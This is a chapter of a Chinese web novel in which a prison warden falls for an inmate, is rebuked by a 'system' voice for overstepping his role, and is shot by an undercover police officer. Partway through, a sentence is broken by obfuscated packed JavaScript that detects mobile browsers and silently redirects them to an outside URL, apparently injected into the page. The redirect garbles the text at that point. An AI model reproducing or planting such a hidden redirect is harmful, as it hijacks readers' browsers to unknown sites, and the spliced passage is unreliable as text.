她原以为监狱长会强迫她做一些她不想做的事,但却什么都没有发生,对方只是窝在她怀里睡着了,那样高大的人,蜷缩起来却像只无家可归的流浪猫,明明是监狱里的绝对掌权者,此刻却如被抛弃的可怜人。
看见他脆弱的样子,她的心竟有一丝动摇。
第二天醒来墨钦看着在他身边熟睡的人,听着她轻浅均匀的呼吸,有了他切切实实在这个世界存在着的感觉,
他知道这片刻的安宁是他偷来的,但仍有种想将不该得到的东西据为己有的念头。
他起床做了早饭,一边看书一边等裴司瞳自然睡醒。
睡过一觉,情绪稳定了许多,裴司瞳顶着一头凌乱的头发出来看见眼前一幕时,心脏以从未有过的频率跳动起来——桌上摆放着煎鸡蛋、牛奶和吐司,这是记忆里不曾出现过的场景。
她在墨钦的注视下面色震惊地走过来,后者只是笑了笑,低头慢条斯理开始吃早饭——他的笑容十分僵硬,应该是不常笑的缘故,看上去有些不自然。
尽管费解,裴司瞳还是拉开椅子在他对面坐了下来。
端起还冒着热气的牛奶,突然像有电流袭过,一阵突如其来的刺痛令裴司瞳瞬间没了感知,杯子从她手里滑落,纯白的牛奶撒了一地,玻璃杯也顷刻破碎四溅,
慌乱中裴司瞳低头去捡,尖锐的碎玻璃触到皮肤,在她手心割开一道伤口,鲜红的血液刺痛她的眼睛,让她心头警铃作响。
忽而一双温热的手将她的手掌包裹起来,脑中嘈杂的异响被监狱长的声音掩没下去,
“怎么这么不小心?”
令裴司瞳感到意外的是她闯了祸,对方却并未像往常一般生气,反而神色温柔又关切。
墨钦拿了药箱过来,给她上药包扎的动作轻柔,这感觉诡异又奇特,裴司瞳的呼吸变得急促不稳。
“监狱长,您,为什么……?”
昨晚到今晨发生的一切简直太匪夷所思,谁能想到不久前还总是体罚鞭打她的监狱长如今对她深情告白,包扎伤口,体贴至此,简直像是变了个人,裴司瞳不明白,究竟是什么使得他对自己的态度大变?还是说这只是为了博取她信任做的戏,实际是想利用她,达成其他目的?
“我不想再继续这样下去了。”墨钦捏在她掌心的指节松开,继而握住了她的手腕,
“我想离开这个地方,司瞳,我们一起走吧。”
“走?您是说,逃狱?”
墨钦:“我们不应该被困在监狱里,你不觉得吗?”
原来他也想离开这个监狱么?
这一刻裴司瞳忽然发觉眼前的人似乎也并不是个铁面无情的强权者,他渴望朋友,渴望爱,他也压抑着,痛苦着。
不对!
她被骗了!
祁燃说过,他们都是坏人!
除了祁燃,她不能相信其他任何人的话!
这一观念在她脑子里不断加固。
她又重新戒备起来。
“监狱长,您在开玩笑吗?”
收手回来,她的笑容带上了几分客套的距离感。
墨钦不急着强迫她改变对自己的看法,打算给她一些消化的时间,在这里他不是监狱长,她也不再是囚犯,他们摆脱原来的身份,不必做外界规定他们做的任何事。
他起身打开了书桌上的收音机,美妙的音乐声随即响起来。闭上眼,乐声使人浮躁的心归于平静,但似乎没人发现收音机里一直是同一首歌在单曲循环着。
墨钦倚靠在沙发上,忍不住看她埋头看书时露出的半张小巧精致的脸,不知为何,虽然从她入狱至今只有三个月,但他感觉他像和裴司瞳认识了很久很久,他们的缘分已经深到无法分割。
“司瞳,你记得人生最快乐的时候吗?”
裴司瞳抬眸看了他一眼,摇摇头。
“我最快乐的时刻,就是现在,”裴司瞳一怔,睫毛不由得颤了颤,墨钦接着道:“我的人生很残破,所有的记忆都在这所监狱,除此以外,再无其他。”
仔细一想,裴司瞳意识到她的记忆也像被挖空了一样,整个人仿若没有灵魂的躯壳。
“我想找到属于我自己的人生,你呢?”墨钦问她。
裴司瞳从没见过这样温柔的眼神,像在看着自己十分珍重的人。
她又不知不觉地放松了警惕心,但对这个话题,却也不知道要怎么回答。
墨钦:“我们的人生在按照别人的意愿进行着,我想要打破它,你愿意跟我一起吗?”
打破它?
她是监狱里的囚犯,而他是关押犯人的监狱长,他们能做出什么出格的事情?
然而鬼使神差的,裴司瞳轻轻地点了头。
墨钦紧皱着的眉心终于在这一刻舒展开,他这辈子都没有这样开心过,兴奋地将裴司瞳抱了起来,尽管怀里的人瞬间睁大眼睛,表现得十分僵硬。
“司瞳,我可以吻你一下吗?”
亲吻她,并不是突然的想法,这种渴望似乎已经根深蒂固,早已变成遥不可及的奢望。
“啊?”
裴司瞳本能地想拒绝,话到嘴边内心又迟疑了。
她发现自己好像并没有原以为的那样抗拒墨钦的接近。
她没躲开,唇瓣相贴的那刻耳边噪声悉数褪去,墨钦感觉到极致的愉悦,随之而来的却是千刀万剐般彻骨的疼痛,
像是惩罚。
但他无视痛苦,奋不顾身地将她揉进怀里,就算下一秒就会被活剐吞噬也在所不惜。
一切都在崩坏,
地面倾斜,房屋破碎,世界即将坍塌一般……
他无视一切,沉浸在与她缠绵的热吻里,直到发觉她紧张得身体微微颤抖,才松开禁锢住她的手掌,
分开的那刻,天崩地裂重归于常。
裴司瞳的脸颊已经红透了,她不知道刚才的事是怎么发生的,她似乎无法抗拒荷尔蒙的吸引力,大脑却又不受控制地谴责自己的行为,好像她做了什么触犯道德与禁忌的事。
“监狱长……”
“司瞳,叫我墨钦。”
“墨……”念出这个字她只觉牙齿打颤,心脏都颤抖起来,“墨钦,我,能相信你吗?”
他认真而肯定地点头。
“可我,我不明白,您为什么会喜欢我?为什么要帮我?”
他是什么时候喜欢她的,他也说不上来,这份情愫似乎已经压在心里很久很久,久到已经长进了他的骨血里。
“或许我只是在帮我自己。”墨钦说:
“司瞳,我们走吧,我们明天就离开这里。”
“可是我们,真的逃得走么?”
墨钦:“当然,我会保护你的。”
他想:不论如何,明天,他一定要带她离开这个地方。
.
夜色已深,他像得到珍贵的宝物般搂着怀里的人入睡,这一夜,梦里的声音第一次这样清晰而刺耳。
——你在做什么!?
——你疯了!
——你以为你是什么身份?
——男主是潜入监狱解救女主的警察,而你只是关押他们的坏蛋,你不是主角,能不能搞清楚点!
墨钦想,这声音所说的女主,应该是裴司瞳。
“你是谁?”他问向眼前没有的尽头的一片黑暗。
——系统,我是系统!
——再次警告,你已经违规很多次了!
——你不是这个故事的男主,你不能跟她有过多的接触!
不能跟裴司瞳有接触?
墨钦:“凭什么?”
——因为设定就是这样啊!
——不要再试图接近女主了。
——而且,她根本不可能记得你的,你别白费力气了!
墨钦不屑置辩,
裴司瞳怎么可能会不记得他?他们整日长谈,在夜里拥吻,她亲口答应了要和他一起离开这里的。
他深知,跟她触碰,会带来千倍的舒快,和万倍的痛楚,但他甘之如饴,没有什么能阻止他们在一起。
.
不知为何心里压抑得很,像有什么在揪着她的身体,裴司瞳出来透气,正要回去的时候在走廊撞见了祁燃:
“司瞳,你去哪里?我们不是约好,今晚九点会有人来接应我们的么。”
这时裴司瞳猛地想起来对方曾告诉她,这个所谓的监牢,其实是涉嫌从事非.法活动的组织,祁燃是被派来假扮囚犯的警察,他们终于找到证据,打算收网了。
祁燃牵起她的手:“我们走吧,队长已经安排好了撤离路线,我会保护你的安全的。”
“等……等等,我好像还有一件事没做。”裴司瞳抽了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364855|183887||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抽手。
“什么?”
“我……想不起来了。”
她意识到自己遗忘了什么东西,但只要一尝试着想起,头就开始隐隐作痛,
“好像是……什么东西没有拿。”
祁燃:“来不及了,我先过去,你一个人注意安全!”
裴司瞳:“好,我很快过来。”
跟祁燃作别,她在监狱里绕了一圈,恍恍惚惚走到了监狱长的房间外,脑中忽然一股电流窜过——
不是和祁燃约好了今天逃出去么,她到这里来做什么?
裴司瞳感觉自己忘记了什么事情,可她却又想不起来,她本能地转过身,打算回去跟上祁燃,
刚扭过头却见监狱长站在她的面前。
“司瞳?”
听见他的声音,裴司瞳瞬间起了浑身的鸡皮疙瘩,她心想监狱长会不会发现了他们逃跑的计划,企图绑架她?
墨钦发觉她看自己的眼神完全变了。
“你在做什么呢?”
“我……我没做什么,监狱长!”
“叫我墨钦。”
看着眼前的男人,裴司瞳下意识想起来身上受到的那些伤,对他的第一感觉就是畏惧,她的脸因为紧张而涨红,眼神也飘忽不定,似乎在害怕。
墨钦的脸色变得凝重:“你今天有些奇怪?”
他过去掌着裴司瞳的肩膀仔细地看着她,却又没看出什么异样,
“算了,我们回去吧。”
裴司瞳:“回去?去哪儿?”
她得去找祁燃,去找祁燃。
这个想法一直在她脑中闪烁。
“砰——”
“砰——”
突然几声巨响,不知哪里的炸弹被引爆了,爆炸声接连响起,周边的墙砖开始破裂崩塌。
彻耳的警报声不断循环,一切像乱了套一般,发生得迅速而突然。
此刻整栋监狱已经被警察包围,上头的人眼见事情败露,怕被牵扯,打算直接销毁这个地方。
意识到什么,裴司瞳扭头就走,像完全遗忘了在她身边的墨钦,
“你去哪里?”
裴司瞳没有理会他,好似根本听不见他的声音,浓重的白烟遮住视线,裴司瞳终于看见了绿色的信号灯,知道那是祁燃他们所在的位置。
“你去哪儿?司瞳,裴司瞳?”望着她的背影墨钦感到心脏一阵灼痛,
她真的打算和祁燃一起离开?抛弃他?
墨钦三两步过去握住她的手腕:“司瞳!你答应了跟我一起走的!”
裴司瞳惊诧地回头,看着眼前的男人,不明白他说的话,却又不知道为什么感到很哀伤。
“保护人质!”
武装警卫就在前方,几支架起的狙击枪已经对准了这边,
“报告,发现嫌疑人!”
“报告,嫌疑人抓住了人质!”
“是否击毙?请求指示!”
祁燃套上防弹衣,他是这支队伍的副队长,既关心此次行动的成功与否,也在意裴司瞳的安危,他直接拿过身边人的狙击枪,透过瞄准镜头看着烟雾里的情况,
远远看见监狱长抓住裴司瞳的手,大概是想钳制住她。
他知道这个叫墨钦的监狱长心狠狡诈,要么是想绑住裴司瞳作为人质,要么就是为了报仇拉她一起死。
“是否击毙嫌疑人?”
“请求指示。”
时间每过一秒,祁燃的表情就凝重一分。
“……”
终于对讲机那头有了回应,
“击毙嫌疑人。”
上级指示传达下来的同时祁燃锐利的眼眸一眯,卡在扳机上的食指弯曲,果断地开了枪,
“砰——”
“司瞳,你忘了么,我们昨天说好的……”
墨钦话没说完,有子弹穿过他的胸口,也击穿了他的心脏,
巨大的痛苦蔓延开来,他没有力气再抓住她了,他的手从她腕上滑落,整个人栽倒在地,满口都是溢流而出的鲜血,
充盈着血液的喉咙已经说不出话来,尚有知觉的肌肉还在抽搐。
他看着裴司瞳望向他的眼睛,那眼神里满是困惑、悲伤与遗憾,他想看明白她是否记起来了他们的承诺,眼皮却越来越沉,直到再也看不清,意识散去,坠入黑暗之中。